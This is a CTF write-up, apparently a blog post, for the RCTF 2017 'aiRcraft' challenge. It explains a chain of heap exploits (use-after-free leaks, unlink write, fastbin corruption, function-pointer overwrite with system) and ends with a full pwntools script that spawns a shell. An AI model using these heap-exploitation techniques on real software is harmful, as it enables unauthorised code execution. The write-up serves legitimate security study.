RCTF 2017 aiRcraft Write up

I didn’t have the chance to actually play the CTF, but wanted to try out the challenges nevertheless. This one was a really interesting challenge and had me spending some time on it.

One of the reasons why this is a great challenge is that I ended up using a combination of three heap vulnerabilities to get a shell ( UAF -> Unlink -> Fastbin ). I don’t think my method is the easiest, but I’ll explain it here.

Let’s start by checking the mitigation techniques enabled on the binary.

$ checksec aiRcraft

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Now onto the functioning of the binary.

The binary has mainly two structures. One of them is used to represent a plane and the other is used to represent an airport ( and so they shall be called as such).

A object of plane can be summarised as follows

struct plane {
char name[32];
char *company;
airport *ptr;
plane *prev;
plane *next;
void (*fun_ptr) (plane *ptr);
}

And an object of airport is as follows

struct {
char *name;
plane planes[16];
}

We are allowed to build airports, buy planes, fly planes to airports, list planes in an airport, sell planes, sell airports.

Every plane bought is appended in a doubly linked list ( the head is another object that lies in the bss). After creating an object of plane, it’s function pointer is initialised to a function which calls free with the same argument that it was called with.

Every airport built is placed in a table that lies in the bss segment. The name pointer is initialised to a chunk on the heap whose size we can control.

If we fly a plane to an airport, the plane’s ptr variable get’s initialised to the airport object. At the same time, the airport enters the pointer to the plane in its own array of planes.

Selling an airport does the following:

  • Unlink every plane that is currently in the airport and then free the plane.
  • Free the pointer to the airport.

This method misses out two things, 1) It doesn’t free the name pointer of the airport and 2) The pointer to the airport still lies in the table ( UAF).

Selling a plane does the following:

  • Unlink itself from the linked list.
  • Call the function pointer with itself as argument.

Now onto the idea of the exploit.

First thing I usually look for is a memory leak. In this case, the leak happens by exploiting the UAF vulnerability.

Here’s the idea

  1. Build an airport.
  2. Buy two planes.
  3. Sell one plane.
  4. Fly the other to the airport.
  5. Sell the plane.

Now, since the size of a plane object is 0x51, it will be put into a fastbin. The object freed second will contain a pointer to the other. Since the plane freed second is in the airport, we can leak it out by calling the list option of the particular airport.

And that gives us a heap address leak.

Now, the size of an airport object is 0x91 which mean’s that it is not going to be put into a fastbin. So freeing an airport object will put the object into a linked list of free chunks. If there is only one chunk in the linked list, it will contain a pointer to the main arena which lies in the libc’s bss.

Now, every plane object has a pointer to the company. So if we can overwrite that pointer to point to the freed airport object, we can leak out a libc address.

Keep in mind that the first airport contains a pointer to a free chunk of size 0x51 which it assumes to be a plane object.

So here’s idea for the leak.

  1. Build a dummy airport and free it (Pointers to main arena are now set).
  2. Build an airport with size of name = 0x48. (Now the address of the old plane object gets returned as the name).
  3. The name of this airport should contain a pointer to the dummy airport at the offset where the company pointer should have been.
  4. List the details of the planes from the first airport.

And there’s the libc leak.

Now that we have that, we can start pwning this binary.

A new vulnerability opens up with the UAF. It’s the old unlink vulnerability that is present in the unlink function. With that, we can perform an arbitrary 8 byte write anywhere.

The first thing I thought was to overwrite the address of system in the function pointer of a plane, but that would only lead to a segfault ( Try it out if you don’t believe me).

We need some other method to overwrite the function pointer.

That’s where the final fastbin part comes into play.

If we could get a chunk allocated that lies inside a plane object, we could overwrite its function pointer. To do that, we’d have to control the next pointer of a chunk in the fastbin. Better yet, why not just overwrite the main arena itself ?

So the steps boil down to the following.

  • Buy a plane with name set to “/bin/sh”  followed by 0x51( We plan to overwrite this one’s function pointer)
  • Buy a new plane, fly it to the first airport and sell the plane.
  • Build a new airport with size of name = 0x48.
  • Name should contain proper addresses of main arena and an address inside the target plane as next and prev pointers.
  • Now sell the airport ( And we’ve corrupted the fastbin).

At this point, what I did was to buy another plane which messed up. Since the plane that was already in the linked list had corrupted pointers that were used in the unlink exploitation part. So appending the new plane crashed the binary.

So the next step is to actually build an airport with size of name = 0x48 and the address of system at the correct offset.

Once that is done, sell the bloody plane and wait for a shell to magically pop up.

Phew! There are a couple of things that might happen while trying out this method. I leave those to the reader to find out themselves.

Anyways, here’s the script

from pwn import *
import sys

prompt = "Your choice: "
buy, build, enter, select = "1", "2", "3", "4"
show, sell_a = "1", "2"
fly, sell_p = "1", "2"


def buy_plane(company, name):
    p.sendlineafter(prompt, buy)
    p.sendlineafter(prompt, str(company))
    p.sendlineafter("name: ", name)


def build_airport(length, name):
    p.sendlineafter(prompt, build)
    p.sendlineafter("name? ", str(length))
    p.sendlineafter("name: ", name)


def enter_airport(idx):
    p.sendlineafter(prompt, enter)
    p.sendlineafter("choose? ", str(idx))


def show_planes(idx, flag=False):
    enter_airport(idx)
    p.sendlineafter(prompt, show)
    p.recvuntil("Plane name: ")
    if flag is False:
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    else:
        p.recvuntil("Build by ")
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    p.sendlineafter(prompt, "3")
    return msg


def sell_airport(idx):
    enter_airport(idx)
    p.sendlineafter(prompt, sell_a)
    p.recvline()


def select_plane(name):
    p.sendlineafter(prompt, select)
    p.sendlineafter("choose? ", name)


def fly_plane(name, idx):
    select_plane(name)
    p.sendlineafter(prompt, fly)
    p.sendlineafter("fly? ", str(idx))
    p.sendlineafter(prompt, "3")


def sell_plane(name):
    select_plane(name)
    p.sendlineafter(prompt, sell_p)


if __name__ == "__main__":
    p = process("./aiRcraft")
    #
    # Leaking heap address
    #
    build_airport(20, "myairport")
    buy_plane(1, "dummy")
    buy_plane(1, "myplane")
    sell_plane("dummy")
    fly_plane("myplane", 0)
    sell_plane("myplane")
    heap = show_planes(0) - 0xb0
    #
    # Leaking libc address
    #
    build_airport(20, "dummy")
    build_airport(20, "dummy2")
    sell_airport(2)
    sell_airport(1)
    payload = fit({32: p64(heap+0x160)*3}, length=0x47, filler="\x00")
    build_airport(0x48, payload)
    libc = show_planes(0, True) - 0x3c3b78
    system = libc + 0x45390
    #
    # Exploit unlink vulnerability to corrupt fastbins
    #
    sell_airport(3)
    # target is main_arena+32 = libc + 0x3c3b40
    target = libc + 0x3c3b40
    # source is lastplane's address = heap + 0x218
    source = heap + 0x218
    buy_plane(1, "lastplane")
    fly_plane("lastplane", 0)
    sell_plane("lastplane")
    payload = fit({48: p64(target-56)+p64(source)}, length=0x47)
    build_airport(0x48, payload)
    buy_plane(1, "/bin/sh\x00"+p64(0)+p64(0x51))
    sell_airport(0)
    build_airport(0x48, "A"*8)
    payload = fit({24: p64(heap+0x400)+p64(0)+p64(system)}, length=48)
    build_airport(0x48, payload)
    sell_plane("/bin/sh")
    p.interactive()

 

Leave a comment